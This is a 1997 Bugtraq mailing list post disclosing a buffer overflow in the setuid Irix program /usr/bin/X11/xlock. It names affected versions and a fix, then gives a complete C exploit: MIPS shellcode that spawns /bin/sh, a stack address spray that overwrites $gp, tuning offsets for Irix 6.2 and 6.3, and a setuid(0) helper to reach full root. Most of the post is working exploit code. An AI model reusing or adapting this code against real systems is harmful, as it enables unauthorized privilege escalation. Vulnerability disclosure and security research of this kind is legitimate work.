Bugtraq mailing list archives

Irix buffer overflow in /usr/bin/X11/xlock


From: hedley () CS BRIS AC UK (David Hedley)
Date: Sun, 25 May 1997 19:31:32 +0100


Hi there again,

Just to finish off with, here's an exploit for /usr/bin/X11/xlock which
Yuri also mentioned was vulnerable. Hopefully after the CERT advisory,
everyone will have installed xlockmore-4.02 in its place so this
shouldn't hit anyone too badly.

It's a similar exploit to the one for /usr/sbin/eject in that we hit $gp
instead of $ra. This also means the exploit won't work on Irix 5.x. The
exploit is also quite sensitive to its location and may need tweaking to
work on platforms other than those I have tested it on.

Details:

Exploit tested on: O2 R5000 (Irix 6.3), PChallenge R8000 (Irix64 6.2)

Vulnerable: 5.3, 6.2, 6.3 at least. Exploit won't work on 5.x

To fix: get xlockmore-4.02 from
        ftp://ftp.x.org/contrib/applications/xlockmore-4.02.tar.gz

_Do not_ do chmod u-s /usr/bin/X11/xlock if you are using shadow
passwords, as xlock still locks the screen but then won't recognise your
password to unlock it! (at least, this happened to me!)

The exploit as posted works on Irix 6.3. To get it to work on 6.2,
either change OFFSET from 0x118 to 0x160, or pass the program '20' as a
parameter.

Note that the shell spawned as a result of this exploit has uid=0,
euid=youruserid. To make your euid=0 you'll need a program like the
following:

void main(void)
{
    setuid(0,0);
    execl("/bin/sh", "sh", 0);
}

Regards,

David
--
 David Hedley (hedley () cs bris ac uk)
 finger hedley () cs bris ac uk for PGP key
 Computer Graphics Group | University of Bristol | UK

------------------- cut here -------------------------

/* /usr/bin/X11/xlock exploit by DCRH 25/5/97
 *
 * Tested on: R5000 O2 (Irix 6.3)
 *            R8000 Power Challenge (Irix64 6.2)
 *
 * For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter
 *
 * Exploit doesn't work on Irix 5.x due to stack position
 *
 * compile as: cc -n32 xlock.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define NUM_ADDRESSES   800
#define BUF_LENGTH      80
#define EXTRA           190
#define OFFSET          0x118    /* 0x160 for Irix 6.2 */
#define GP_OFFSET       32472
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};

u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x23e4012c,         /* addi $4,$31,264+36   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack, tmp;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

    stack = get_sp();

    if (stack & 0x80000000) {
        printf("Recompile with the '-32' option\n");
        exit(1);
    }

    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;

    if (argc > 1)
        targ_addr += atoi(argv[1]) * 4;

    if (targ_addr + GP_OFFSET > 0x80000000) {
        printf("Sorry - this exploit for Irix 6.x only\n");
        exit(1);
    }

    tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

    while ((tmp & 0xff000000) == 0 ||
           (tmp & 0x00ff0000) == 0 ||
           (tmp & 0x0000ff00) == 0 ||
           (tmp & 0x000000ff) == 0)
        tmp += 4;

    for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
        *long_p++ = tmp;

    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;

    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];

    tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3;

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (tmp << 16) | (tmp >> 16);

    *long_p = 0;

    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

    execle("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env);
    perror("execl failed");
}



Current thread: